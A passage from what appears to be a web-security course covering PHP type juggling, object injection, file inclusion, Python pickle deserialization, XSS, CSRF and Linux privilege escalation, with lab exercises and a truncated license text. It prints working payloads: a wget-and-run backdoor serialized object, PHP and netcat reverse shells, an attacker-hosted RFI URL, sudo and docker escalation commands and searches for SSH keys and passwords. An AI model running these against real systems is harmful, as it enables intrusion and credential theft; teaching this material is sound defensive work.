Always consult the PHP manual on individual functions to check if they use loose comparison or type-safe comparison. See if there is an option to use strict comparison and specify that option in your code.

For example, PHP’s in_array() uses loose comparison by default. But you can make it switch to type-safe comparison by specifying the strict option. If the function only provides loose comparison, avoid using that function and search for alternatives instead.

Avoid typecasting before comparison

Avoid typecasting right before comparing values, as this will essentially deliver the same results as type juggling. For example, before typecasting, the following three variables are all seen as distinct by the type-safe operator.

<?php
    $example_int = 7;
    $example_str = "7_string";
    $example_str_2 = "7";
    if ($example_int === $example_str) {
        // This condition statement will return False
        echo("This will not print.");
    }
    if ($example_int === $example_str_2) {
       // This condition statement will return False
        echo("This will not print.");
    }
?>

Whereas after typecasting, PHP will only preserve the number extracted from a string, and "7_string" will become the integer 7.

<?php
    $example_int = 7;
    $example_str = "7_string";
    if ($example_int === (int)$example_str) {
        // This condition statement will return True
        echo("This will print.");
    }
?>

More PHP vulnerabilities

Magic hashes

Magic hashes are hashes that start with a leading 0e (the scientific notation for “0 to the power of some value”) and have only numbers after that.

Let’s say you stored a hashed password that looks like this: 0e462097431906509019562988736854, which is the value returned by md5(240610708). Being a magic hash, if we use the loose comparison operator == against the user input and provide 0 as value, the following code will always return “Matched”.

<?php
    $passwordHash = md5('240610708');
    // $_GET['password'] = '0'
    if ($passwordHash == $_GET['password']) {
        echo "Matched";
    } else {
  echo "Not matched";
    }
?>

Below is a table of such hashes discovered so far:

Hash TypeHash Length“Magic” Number / StringMagic HashesFound By
md2325051447260e015339760548602306096794382326WhiteHat Security, Inc.
md432482912040e266546927425668450445617970135WhiteHat Security, Inc.
md5322406107080e462097431906509019562988736854Michal Spacek
md532QNKCDZO0e830400451993494058024219903391-
sha140109324351120e07766915004133176347055865026311692244Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham
sha22456
sha25664
sha38496
sha512128
ripemd128323156558540e251331818775808475952406672980WhiteHat Security, Inc.
ripemd160402058300203400e1839085851394356611454660337505469745Michael A Cleverly

Even though you won’t find such examples on a daily basis, it’s important to know that there is such a possibility and beware of using loose comparison. It’s just another example of how dangerous it is.

Bypassing strcmp() function

The strcmp($str1, $str2) function compares two strings. The only possible return values are:

0, if $str1 is equal to $str2 < 0, if $str1 is less than $str2 > 0, if $str1 is greater than $str2

But what happens if we use the following code to check for a password?

<?php
    if (strcmp($password, $_POST['password']) == 0) {
        $success = true;
    } else {
        $success = false;
    }
?>

We could provide an array in the POST parameter instead of a string (password[]=x), resulting in PHP throwing a warning:

Warning: strcmp() expects parameter 2 to be string, array given in http://example.com/index.php on line 5

The interesting part here is that, even though PHP throws a warning, it goes on comparing the result of strcmp(), which is NULL, to 0 using the previously discussed loose comparison operator. This means that NULL will be equal to 0 and so we could bypass the authentication.

Using preg_replace() to execute commands

The preg_replace() function is used to perform regular expressions search and replace. A legitimate use of it could be:

<?php
    $in = 'Somewhere, something incredible is waiting to be known';
    echo preg_replace($_GET['replace'], $_GET['with'], $in);
?>

The code will take a user-supplied regular expression and replace whatever it matches with a user-supplied string. So if we were to call preg_replace.php?replace=/Known/i&with=eaten, the script would perform a case-insensitive regex search (the i modifier) and echo Somewhere, something incredible is waiting to be eaten. Seems safe enough, right?

Well, not at all. The above code is vulnerable to code injection as it fails to account for dangerous PCRE modification flags in the input string. Most modifiers are quite harmless and let you do things like case-insensitive and multi-line searches, however one modifier, e will cause PHP to execute the result of the preg_replace() operation as PHP code.

The payload is: ?replace=/Known/e&with=system(‘whoami’)

This is extremely dangerous, as it gives an attacker the opportunity to execute any PHP code.

It has been deprecated since PHP 5.5.0, and removed completely in PHP 7.0.0, because of its recklessly insecure nature. The replacement function is called preg_replace_callback(), which uses a callback. As many people are still using older versions of PHP, it is still dangerous and even in the versions where it was deprecated, the option will still work (it will generate a warning at a log level turned off by default), so the issue will be around for a while yet.

PHP Object Injection / PHP Insecure Object Deserialization

PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.

In order to go further, we need to know some things about PHP magic methods. The “magic” methods are nothing more than a set of special named functions, starting with two underscores, which denote methods that will be triggered in response to particular PHP events. A well known example, which you should be familiar with from other programming languages, is the __construct() method, which is a class constructor.

The following magic methods will be helpful in exploiting a PHP Object injection vulnerability:

  • __wakeup() - when an object is unserialized.
  • __destruct() - when an object is deleted.
  • __toString() - when an object is converted to a string.

A more comprehensive list of PHP magic methods would be this one:

__construct()__set()__toString()
__destruct()__isset()__invoke()
__call()__unset()__set_state()
__callStatic()__sleep()__clone()
__get()__wakeup()__debugInfo()

Exploit with the __wakeup in the unserialize() function

<?php
    class PHPObjectInjection {
        public $inject;
        function __construct() {

        }
        function __wakeup() {
            if (isset($this->inject)) {
                eval($this->inject);
            }
        }
    }
    if (isset($_REQUEST['r'])) {
        $var1 = unserialize($_REQUEST['r']);
        if (is_array($var1)) {
            echo "<br/>" . $var1[0] . " - " . $var1[1];
        }
    } else {
        echo ""; # nothing happens here
    }
?>

Payload:

# Basic serialized data
a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}

# Command execution
O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}

This vulnerability is extremely dangerous, as it could also lead to an RCE (Remote Code Execution) exploit. An attacker could use a payload which downloads a script and starts a reverse shell connected to the web server. The payload could look like this:

<?php
    class PHPObjectInjection
    {
        // Change URL/ filename to match your setup
        public $inject = "system('wget http://URL/backdoor.txt -O phpobjbackdoor.php && php phpobjbackdoor.php');";
    }
    echo urlencode(serialize(new PHPObjectInjection));
?>

Of course, there are many other methods to achieve a reverse shell once you have the ability to execute code on the target machine.

Authentication bypass - Type juggling

<?php
    include("credentials.php");

    // $adminName = "random";
    // $adminPassword = "pass";

    $data = unserialize($_COOKIE['auth']);

    if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
        echo "You logged in as admin!";
    } else {
        echo "Login failed!";
    }
?>

Payload: a:2:{s:8:"username";b:1;s:8:"password";b:1;}

Local File Inclusion (LFI) / Remote File Inclusion (RFI)

An attacker can use Local File Inclusion (LFI) to trick the web application into exposing or running files on the web server. An LFI attack may lead to Information Disclosure, Remote Code Execution (RCE), or even Cross-site Scripting (XSS).

Typically, LFI occurs when an application uses the path to a file as input. If the application treats this input as trusted, a local file may be used in the include statement.

Using Remote File Inclusion (RFI), an attacker can cause the web application to include a remote file. This is possible for web applications that dynamically include external files or scripts. Potential web security consequences of a successful RFI attack range from Sensitive Information Disclosure and Cross-site Scripting (XSS) to Remote Code Execution (RCE) and, as a final result, full system compromise.

Remote file inclusion attacks usually occur when an application receives a path to a file as input for a web page and does not properly sanitize it. This allows an external URL to be supplied to the include function.

RFI Attack

The above definitions are very similar, so what is the exact difference between the two of them and how does an exploit affect the web application in each case?

Local File Inclusion

Local File Inclusion can be divided into subcategories based on the end target of the attack.

  1. Path Traversal - which we have studied in a previous session. It uses a local file path and enables the attacker to access the contents of arbitrary files. The outcome of this attack is to read sensitive data and expose confidential information.

  2. Remote Code Execution (RCE) - which is a very dangerous vulnerability. It could be present in web applications that offer the possibility of uploading arbitrary files without proper checks. Once a malicious file was uploaded (such as a reverse shell), the attacker can compromise the entire system.

<?php
    // Get the filename from a GET input
    // Example - http://example.com/?file=filename.php
    $file = $_GET['file'];

    // Unsafely include the file
    // Example - filename.php
    include('directory/' . $file);
?>

Payload: http://example.com/?file=../../uploads/evil.php

Remote File Inclusion

Exactly like in the case of Local File Inclusion, where the attacker is able to upload a reverse shell on the server, the Remote File Inclusion vulnerability lets the attacker include a remote file in the current web application and execute its contents. This file could be a reverse shell and give the attacker full system control.

<?php
    // Get the filename from a GET input
    // Example - http://example.com/?file=index.php
    $file = $_GET['file'];

    // Unsafely include the file
    // Example - index.php
    include($file);
?>

Payload: http://example.com/?file=http://attacker.example.com/evil.php

Note: Even though some web servers run as root (which is a very bad practice), most of them run as a special user (www-data) which doesn’t have root privileges. This means that getting a reverse shell on a web server will grant you only the rights of the user running the website. In order to get root access on the machine, further privilege escalation methods should be employed, which you will learn about in a future session.

Example of a simple reverse shell in PHP:

<?php
    $sock = fsockopen("127.0.0.1",1234);
    $proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>

Python Insecure Deserialization / pickle module

We have looked at so many PHP vulnerabilities in this session, but you shouldn’t be left with the impression that PHP is the only vulnerable language. In this section we will approach an insecure object deserialization in a Python web application.

Python pickle

In Python, the pickle module lets you serialize and deserialize data. Essentially, this means that you can convert a Python object into a stream of bytes and then reconstruct it (including the object’s internal structure) later in a different process or environment by loading that stream of bytes.

When consulting the Python docs for pickle one cannot miss the following warning:

Warning: The pickle module is not secure. Only unpickle data you trust.

Let’s have a look at how pickle handles your data. In Python you can serialize objects by using pickle.dumps():

import pickle

pickle.dumps(['pickle', 'me', 1, 2, 3])

The pickled representation we’re getting back from dumps will look like this:

b'\x80\x04\x95\x19\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x06pickle\x94\x8c\x02me\x94K\x01K\x02K\x03e'

And now reading the serialized data back in…

import pickle

pickle.loads(b'\x80\x04\x95\x19\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x06pickle\x94\x8c\x02me\x94K\x01K\x02K\x03e.')

…will give us our list object back:

['pickle', 'me', 1, 2, 3]

What is actually happening behind the scenes is that the byte-stream created by dumps contains opcodes that are then one-by-one executed as soon as we load the pickle back in.

Not every object can be serialized (e.g. file handles) and pickling and unpickling certain objects (like functions or classes) comes with restrictions. The Python docs give you a good overview of what can and cannot be pickled.

While in most cases you don’t need to do anything special to make an object “picklable”, pickle still allows you to define a custom behavior for the pickling process for your class instances.

Reading a bit further down in the docs we can see that implementing __reduce__ is exactly what we would need to get code execution, when viewed from an attacker’s perspective:

The __reduce__() method takes no argument and shall return either a string or preferably a tuple (the returned object is often referred to as the “reduce value”). […] When a tuple is returned, it must be between two and six items long. Optional items can either be omitted, or None can be provided as their value. The semantics of each item are in order:

  • A callable object that will be called to create the initial version of the object.
  • A tuple of arguments for the callable object. An empty tuple must be given if the callable does not accept any argument. […]

So by implementing __reduce__ in a class which instances we are going to pickle, we can give the pickling process a callable plus some arguments to run. While intended for reconstructing objects, we can abuse this for getting our own reverse shell code executed.

A sample payload generator which opens a reverse shell can be analyzed below:

import pickle
import base64
import os


class RCE:
    def __reduce__(self):
        cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | '
               '/bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f')
        return os.system, (cmd,)


if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.urlsafe_b64encode(pickled))

This code will generate a reverse shell, which opens the possibility of RCE on the target machine. In order to accomplish this, you also need to make sure the port is accessible to the Internet. You may find some simple instructions for how to do this here, using ngrok. Again, it’s one of the most dangerous vulnerabilities for a web application, whatever the programming language was chosen for the back-end (be it PHP, Python, JavaScript, Ruby, etc.), and the programmer should be aware and protect it against malicious actors. Also, always research the functions and modules used inside your application to prevent such vulnerabilities.

Wrap Up

As you have seen so far, even a small mistake, such as using == instead of ===, can cause your application to break at unexpected input. From an attacker standpoint, you can never know if the programmer was careful enough when writing the code, so you should always research and test what exploits can the application be vulnerable to, specific to the language / framework used.

The most important aspect we kept talking about during all the sessions is to never trust the user input. He can have malicious thoughts and purposefully try to break the application or he can unknowingly send a bad request and achieve the same result. In conclusion, the code should be properly tested before being put in production and the user input should always be carefully sanitized.

Further Reading

Activities

8 -

Cross-site Scripting (XSS)

Intro

Cross-site Scripting (XSS) is a web security vulnerability that allows an attacker to inject malicious code, usually JavaScript, in the web browser of the victim. This implies that the attacker can do a lot of damage from stealing data to perform actions on behalf of the user. This type of vulnerability implies that the web application uses the user input in the HTML page that it serves. As opposed to other types of code injections, the malicious code in an XSS will always run on the client-side shifting the target from the server hosting the application to the users of the application.

Impact

The impact of the vulnerability is linked with the functionality that the web application provides. If the app is doesn’t have much functionality (e.g. a news website) the attacker might not obtain much, but if it’s a banking app, there is certainly something to obtain.

Cross-site Scripting can be used to achieve a lot of things:

  • steal data - sensitive data as login credentials or credit card numbers
  • hijack the session of the user - get the user’s session token and browse the application as it’s your account without any credentials
  • track user movements - keylogging, taking screenshots of the page
  • perform actions on behalf of the user - sending payments to attacker’s account
  • alter the looks of the HTML page (virtual defacement) - fake the balance of the account while the attacker steals the money
  • mining - placing a cryptocurrency miner in the page while the user reads a long article
  • if that’s not enough, you may find more ideas here.

Types

There are mainly three types of XSS:

  • Reflected XSS
  • Stored XSS
  • DOM XSS

Reflected XSS

Reflected XSS or non-persistent is the simplest form of XSS and occurs when user input is immediately returned by the web application in the HTTP response.

Reflected XSS Steps

Reflected XSS steps

  1. The attacker crafts a URL containing a malicious string and sends it to the victim.
  2. The victim is tricked by the attacker into requesting the URL from the website.
  3. The website includes the malicious string from the URL in the response.
  4. The victim’s browser executes the malicious script inside the response, sending the victim’s cookies to the attacker’s server.

Example

Let’s consider a simple application that greets the user with the name passed through the parameter name in the URL. https://example.com/greet?name=John

<p>Hello John!</p>

Without changing the user input in any way, an attacker might give the following input:

https://example.com/greet?name=<script>alert(1)</script>

<p>Hello <script>alert(1)</script>!</p>

The attacker now has control to the JavaScript code using a parameter stored in the URL.

Stored XSS

Stored XSS or persistent XSS happens when user input is stored in the database and it is used non-sanitized in the response HTML pages.

Persistent XSS Steps

Stored XXS Steps

  1. The attacker uses one of the website’s forms to insert a malicious string into the website’s database.
  2. The victim requests a page from the website.
  3. The website includes the malicious string from the database in the response and sends it to the victim.
  4. The victim’s browser executes the malicious script inside the response, sending the victim’s cookies to the attacker’s server.

Example

A simple example would be an online shop with a review system that would let customers to write text/comments about the products. One might use it to say "This product is great! I recommend it!"

<p>This product is great! I recommend it!</p>

But an attacker might use it to send "<script>alert(1)</script>"

<p><script>alert(1)</script></p>

The difference between this example and the one at Reflected XSS is that the attacker uses a request to send the review that will be stored in the database of the server. Later on, when another user accesses the product page, the code behind the website will get from the database all reviews associated with the product and insert them in the HTML response page.

DOM XSS

DOM vulnerabilities usually arise when JavaScript code uses data from the user to construct the DOM / HTML page.

DOM XSS Steps XSS DOM Steps

  1. The attacker crafts a URL containing a malicious string and sends it to the victim.
  2. The victim is tricked by the attacker into requesting the URL from the website.
  3. The website receives the request, but does not include the malicious string in the response.
  4. The victim’s browser executes the legitimate script inside the response, causing the malicious script to be inserted into the page.
  5. The victim’s browser executes the malicious script inserted into the page, sending the victim’s cookies to the attacker’s server.

Example

Suppose the following code is used to create a form to let the user choose his/her preferred language. A default language is also provided in the query string, as the parameter “default”.

Select your language:

<select><script>

document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>");

document.write("<OPTION value=2>English</OPTION>");

</script></select>

The page is invoked with a URL such as:

https://example.com/page.html?default=French

A DOM Based XSS attack against this page can be accomplished by sending the following URL to a victim:

https://example.com/page.html?default=<script>alert(1)</script>

Note

The three types of XSS presented above are the ones that historically speaking were categorised, but in order to do a categorization a criteria is needed. The types above have no criteria on which they are sepparated, so let’s split XSS vulnerabilities by the place where data is used:

  • Server XSS
  • Client XSS

By doing so, the three types above mentioned will look like this: Server vs Client XSS

Defense Mechanisms

  1. Filter input on arrival. At the point where user input is received, filter as strictly as possible based on what is expected or valid input.
  2. Encode data on output. At the point where user-controllable data is output in HTTP responses, encode the output to prevent it from being interpreted as active content. Depending on the output context, this might require applying combinations of HTML, URL, JavaScript, and CSS encoding.
  3. Use appropriate response headers. To prevent XSS in HTTP responses that aren’t intended to contain any HTML or JavaScript, you can use the Content-Type and X-Content-Type-Options headers to ensure that browsers interpret the responses in the way you intend.
  4. Content Security Policy. Use Content Security Policy (CSP) to reduce the severity of any XSS vulnerabilities that still occur.
  5. Continuous database scanning. For stored XSS is common practice to scan the database at regulated intervals, although XSS payloads can be written in multiple formats (base64, binary etc.).

Other XSS

Self XSS

Self XSS is a social engineering attack used to gain access to victim’s web accounts. The victim is tricked into running malicious JavaScript code into their own browser, in web developer console, which can either exfiltrate data or perform actions on behalf of the user. This is not a code injection vulnerability as each website is vulnerable to this type of attack. In order to prevent this, websites add warning messages in console. In the image below, there are two examples, from Google Meet and Facebook.

Self XSS

Mutated XSS

Mutated XSS happens when the browser tries to fix and rewrite invaild HTML but fails doing so thus executing attacker’s code. Because it depends from browser to browser, is extremely hard to detect or sanitize within the websites application logic. At the end of this page you will find a video explaining a mXSS on Google Search, and also check the link for one of the first papers describing mXSS attacks.

Challenges

1. DVWA

We will use Damn Vulnerable Web Application (DVWA) for this one. You may install it however you want, just to work, but a simple way to do it is by using Docker. Once you installed docker you must run

$ docker run --rm -it -p 8080:80 vulnerables/web-dvwa

To access the app, go to http://localhost:8080/setup.php and click on Create/Reset Database. Login with username admin and password password.

DVWA has multipe vulnerable components, but today we will use the XSS related ones. The app has 4 levels of security that can be changed from ‘DVWA Security’ section. All the DVWA challenges allow you to view the PHP source of the page to get additional info about the back-end script. However, in a real-world scenario you won’t have that kind of access, so please use this functionality only after you have finished the challenge.

The goal of this challenges is to rise an alert(1) from JavaScript like this: DVWA Alert 1

With the security level set on low you will have to go through each XSS type. Raise the alert, then change the security level to medium and then high. After you are done with this, change on impossible and click on View Source. Why an exploit is not possible in this case? Check the PHP documentation to understand why.

Go thgough each on in the following order: Reflected, Stored, DOM

2. XSS Challenges

You have 6 levels to finish here: https://xss-game.appspot.com/

3. Even more XSS Challenges

https://alf.nu/alert1

4. If you get here

http://prompt.ml/0

https://xss-quiz.int21h.jp/

http://sudo.co.il/xss/

Those should be enough to suck the soul out of you.

Further reading


Cross-Site Request Forgery (CSRF)

Intro

Cross-site request forgery is a vulnerability in web applications that allows an attacker to trick users into performing actions that they did not intend.

Impact

Once again, the impact of the vulnerability is linked with the functionality that the web application provides, but it can range from posting a comment on behalf of the user with an outdated 2008 meme to making payments to attacker’s wallet to full account takeover.

How does it work?

For a CSRF attack to be possible, three key conditions must be in place:

  • A relevant action. There is an action within the application that the attacker has a reason to induce. This might be a privileged action (such as modifying permissions for other users) or any action on user-specific data (such as changing the user’s own password).
  • Cookie-based session handling. Performing the action involves issuing one or more HTTP requests, and the application relies solely on session cookies to identify the user who has made the requests. There is no other mechanism in place for tracking sessions or validating user requests.
  • No unpredictable request parameters. The requests that perform the action do not contain any parameters whose values the attacker cannot determine or guess. For example, when causing a user to change their password, the function is not vulnerable if an attacker needs to know the value of the existing password.

For example, suppose an application contains a function that lets the user change the email address on their account. When a user performs this action, they make an HTTP request like the following:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=wiener@normal-user.com

This meets the conditions required for CSRF:

  • The action of changing the email address on a user’s account is of interest to an attacker. Following this action, the attacker will typically be able to trigger a password reset and take full control of the user’s account.
  • The application uses a session cookie to identify which user issued the request. There are no other tokens or mechanisms in place to track user sessions.
  • The attacker can easily determine the values of the request parameters that are needed to perform the action.

With these conditions in place, the attacker can construct a web page containing the following HTML:

<html>
  <body>
    <form action="https://vulnerable-website.com/email/change" method="POST">
      <input type="hidden" name="email" value="pwned@evil-user.net" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Prevention

  • Use SameSite cookie attribute (similar to HTTPOnly and Secure)
  • Add a CSRF token for each request that changes the state of the application (e.g. changing password, sending messages) and validate it on backend
  • Use user interaction based CSRF defense for sensitive actions such as changing credentials: re-authentication, one-time token, captcha
  • Use Cross-origin resource sharing (CORS) headers to prevent CSRF from your website
  • GET methods should not change the state of the application. Use appropriate HTTP methods for their intention.
  • in-depth list here

If you find an action/request to have a CSRF token don’t give up to that so easily, there are a number of ways that improper validation of the token will still result in a CSRF vulnerability:

  • Validation of CSRF token depends on request method
  • Validation of CSRF token depends on token being present
  • CSRF token is not tied to the user session
  • CSRF token is tied to a non-session cookie
  • CSRF token is simply duplicated in a cookie

Note

You can combine XSS with CSRF :). If you have two websites that share a part of their user base, you can use a XSS vulnerability in one to abuse a CSRF vulnerability in the other one. For example if a company provides two related services (e.g. email and calendar) you can assume that there is a high probability that a user might have accounts on both of the services, making a Stored XSS in one app a great way to exploit a CSRF in the other one.

Challenges

1. DVWA

Using the same setup as for XSS challenges, go to the CSRF page of DVWA and craft URLs that will change the password for the user accessing it for each security level: low, medium, hard. Why a CSRF is not possible for impossible?

2. PortSwigger Academy

You have 8 challenges here: https://portswigger.net/web-security/all-labs#cross-site-request-forgery-csrf

Further reading

9 -

Introduction

When performing an attack on a target, the last step of a malicious actor, before achieving full system compromise, is to elevate his or her privileges to an administrative account. Once the attacker reached this phase and successully escalated his access rights, he can do anything with the vulnerable application or computer system.

What is privilege escalation?

Privilege escalation vulnerabilities are security issues that allow users to gain more permissions and a higher level of access to systems or applications than their administrators intended. These types of flaws are valuable for attackers because they’re needed for full exploit chains but can be overlooked by defenders or developers because of their lower severity scores.

In general, any violation of an intentional security boundary can be considered a privilege escalation issue, including gaining kernel access from a user application in an operating system, escaping a virtual machine to access the underlying hypervisor, gaining domain administrator access from a workstation, or gaining privileged roles in public web applications by exploiting misconfigurations.

There are two main types of privilege escalation:

  1. Horizontal Privilege Escalation is when a user gains the access rights of another user who has the same access level as he or she does.
  2. Vertical Privilege Escalation is when an attacker uses a flaw in the system to gain access above what was intended for him or her.

Horizontal Privilege Escalation

Gaining access to a user account with the same level of privileges as the malicious actor might sound a little weird, but there are legitimate use-cases for this. Think about the following scenario:

Bob and Alice both have their own accounts at the same bank. Bob has malicious intents and exploits a misconfiguration to gain access to Alice’s account. Even though they have the same level of access to the application’s functionality, Bob can now access Alice’s personal information, and is able to alter her account, transfer money on her behalf and many other things.

Vertical Privilege Escalation

Generally, when someone attempts to hack into a system, it’s because they want to perform some action on the system. This could be damaging the system or stealing information. Oftentimes, this requires a privilege level the attacker does not possess. This is where vertical privilege escalation comes in.

The attacker exploits a flaw in the system, abuses a misconfiguration, or uses another vector to elevate his privileges from a normal user to an administrator.

Once the attacker managed to elevate his access rights, he will be able to perform any action the compromised account was able to perform.

An actual scenario to better understand the potential damage:

The attacker managed to capture the admin’s session cookies and takes over his session. Once logged in using the admin’s cookies, he has access to the administration panel of the web application. From here, he can steal sensitive information (such as users data), perform a Denial of Service (DoS) attack (by deleting website’s data), and create persistence (by locking out the actual administrators of the website).

Application vs System PrivEsc

In the context of Web Security, we can also speak of another way of categorizing privilege escalation:

  1. Application Privilege Escalation is when the attacker uses the application accounts to gain further access to application functionality.
  2. System Privilege Escalation is when the attacker has already gained access to the underlying system where the web application runs and wishes to elevate his privileges to the administrator’s account of the server.

We have already given a few examples of application privilege escalations in thre previous section, so now we will focus on system privilege escalation.

System Privilege Escalation

Security best practices suggest a very useful principle, called the Principle of Least Privilege, in which a user is given the minimum levels of access – or permissions – needed to perform his/her job functions.

Following this principle, web servers should always be run by an unprivileged user – say www-data on a Linux system. The reciprocate of this is to never run a web server as root. This is very important, as it adds an extra security layer in case the web application is compromised. If that happens, the attacker will have the same privileges on the system as the user running the application.

Let’s say that an attacker managed to find an RCE vulnerability (Remote Code Execution) on the web application. If the application is run by root, the attacker will be able to perform any command on the system with the same privileges as root. If, however, the application is run as www-data, the attacker will only have access to a small part of the system and will have to find another vulnerability to elevate his privileges.

Privilege Escalation Vectors

Application Vectors

First of all, let’s talk about how an attacker could perform a privilege escalation attack on the web application.

  1. Broken Access Control - when a user can in fact access some resource or perform some action that they are not supposed to be able to access.

Example: The web application has an admin panel protected against unauthorized access, but uses API calls to retrieve users and perform actions. The developer forgot to secure these API endpoints with the same protection as the admin panel interface and the attacker discovered them, having unrestricted access to admin commands.

  1. Session Hijacking - when a user steals another user / administrator session cookies and impersonates him.

Example: The attacker found an XSS vulnerability / performed a Man in the Middle Attack and stole the session cookie of another user. Now he is able to impersonate that user in any request by using their cookies. If the compromised account is a normal user, it’s called horizontal privilege escalation. If it’s an administrator account, it’s called vertical privilege escalation.

System Vectors

Finally, let’s analyze a few methods where an attacker could gain elevated privileges once he has a foothold of the system (is able to execute commands on the underlying system).

There are countless methods to elevate privileges on a Linux system. The key in finding them is to enumerate the host for potential vectors.

  1. Kernel Exploit
    • CVE-2016-5195 (DirtyCow) - Linux Kernel <= 3.19.0-73.8. A race condition was found in the way the Linux kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings. An unprivileged local user could use this flaw to gain write access to otherwise read-only memory mappings and thus increase their privileges on the system.
    • sudo <= v1.28
      > sudo -u#-1 /bin/bash
      
    • More kernel exploits in this Git repos: @lucyoa, @offensive-security.
  2. Exploiting SUDO Rights / SUID Binaries
    • Sudo configuration might allow a user to execute some command with another user privileges without knowing the password:
      > sudo -l
      User demo may run the following commands on demo-host:
         (root) NOPASSWD: /usr/bin/vim
      
      is would allow the attacker to create a privileged shell:
      `bash
      sudo vim -c '!sh'
      
    • SUID Binaries. SUID/Setuid stands for “set user ID upon execution”, and it is enabled by default in every Linux distributions. If a file with this bit is ran, the uid will be changed by the owner one. If the file owner is root, the uid will be changed to root even if it was executed from user bob. SUID bit is represented by an s. Commands to list SUID binaries:
      > find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
      > find / -uid 0 -perm -4000 -type f 2>/dev/null
      
    • GTFOBins are a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
  3. Path Hijacking
    • Path Hijacking occurs when a program uses the relative path to another program instead of the absolute path. Consider the following Python code:
      import os
      os.system('create_backup')
      
      e `$PATH` variable is a Linux environment variable that specifies where to look for a specific binary when a full path is not provided. An attacker can exploit this mechanism by either being allowed to modify the `$PATH` variable or being able to write files inside directories specified there.
      , in order to exploit the above Python code, the attacker places a program called `create_backup` inside a location from the `$PATH` variable and Linux will execute the malicious program instead of the intended one.
      
  4. Docker Privilege Escalation / Container Escape
    • This requires the user to be privileged enough to run docker, i.e. being in the docker group or being root.
      > docker run -v /:/mnt --rm -it alpine chroot /mnt sh
      
      e command above creates a new container based on the `Linux Alpine` image, mounts the `/` directory from the host on `/mnt` inside the container and runs it with `/bin/sh`. Now the attacker can read any file on the system.
      
    • Escaping Docker privileged containers. Docker privileged containers are those run with the --privileged flag. Unlike regular containers, these have root privilege to the host machine. A detailed article can be read here
  5. Others
    • id / whoami - identify if the user is part of special groups, such as docker, admin, etc.
    • cat /etc/passwd - list system users for potential privilege escalation
    • crontab -l / ls -al /etc/cron* /etc/at* - enumerate cron jobs (scheduled jobs) on the system.
    • ps aux / ps -ef - inspect running processes
    • find / -name authorized_keys 2> /dev/null - find SSH authorized keys
    • find / -name id_rsa 2> /dev/null - find SSH private keys
    • find / -type f -iname ".*" -ls 2>/dev/null - find hidden files
    • grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null - find files containing passwords.
    • Manually looking through web server logs, such as access or error logs for any sensitive information. Default locations for these logs:
      • /var/log/apache2/error.log
      • /var/log/apache/access.log
      • /var/log/apache2/access.log
      • /etc/httpd/logs/access_log

Tools

There are many tools that automated the process of enumeration and could help you save a lot of time when looking for privilege escalation vectors. The best tool for Linux is LinPEAS.

Preventing Privilege Escalation

When it comes to OS-level privilege escalation vulnerabilities, it’s vital to install security patches as soon as possible, not only for the OS, but for all third-party applications used on the system.

Application whitelisting technologies can be used to restrict which programs may run on a system, enabling organizations to reduce a machine’s attack surface. Making sure that unneeded services are turned off and that unused hardware components and drivers are disabled is also very important.

Further reading

Challenges

  • Escalation

10 -

Contributing to the Web Security Track

We welcome contributions to the content and source code of the Web Security Track. You may contribute by:

Before you make any contribution, make sure it follows the community guide.

11 -

License

This repository consists of actual content (Markdown files, slides) and support code (for challenges and activities and for automation and deployment). Unless otherwise stated, actual content is licensed under the Attribution-ShareAlike 4.0 International (CC BY-SA 4.0) license. Unless otherwise stated, support code is licensed under the 3-Clause BSD license (SPDX short identifier: BSD-3-Clause). A copy of each license is below.

Copy of CC BY-SA 4.0:

Attribution-NonCommercial-ShareAlike 4.0 International

=======================================================================

Creative Commons Corporation ("Creative Commons") is not a law firm and
does not provide legal services or legal advice. Distribution of
Creative Commons public licenses does not create a lawyer-client or
other relationship. Creative Commons makes its licenses and related
information available on an "as-is" basis. Creative Commons gives no
warranties regarding its licenses, any material licensed under their
terms and conditions, or any related information. Creative Commons
disclaims all liability for damages resulting from their use to the
fullest extent possible.

Using Creative Commons Public Licenses

Creative Commons public licenses provide a standard set of terms and
conditions that creators and other rights holders may use to share
original works of authorship and other material subject to copyright
and certain other rights specified in the public license below. The
following considerations are for informational purposes only, are not
exhaustive, and do not form part of our licenses.

     Considerations for licensors: Our public licenses are
     intended for use by those authorized to give the public
     permission to use material in ways otherwise restricted by
     copyright and certain other rights. Our licenses are
     irrevocable. Licensors should read and understand the terms
     and conditions of the license they choose before applying it.
     Licensors should also secure all rights necessary before
     applying our licenses so that the public can reuse the
     material as expected. Licensors should clearly mark any
     material not subject to the license. This includes other CC-
     licensed material, or material used under an exception or
     limitation to copyright. More considerations for licensors:
      wiki.creativecommons.org/Considerations_for_licensors

     Considerations for the public: By using one of our public
     licenses, a licensor grants the public permission to use the
     licensed material under specified terms and conditions. If
     the licensor's permission is not necessary for any reason--for
     example, because of any applicable exception or limitation to
     copyright--then that use is not regulated by the license. Our
     licenses grant only permissions under copyright and certain
     other rights that a licensor has authority to grant. Use of
     the licensed material may still be restricted for other
     reasons, including because others have copyright or other
     rights in the material. A licensor may make special requests,
     such as asking that all changes be marked or described.
     Although not required by our licenses, you are encouraged to
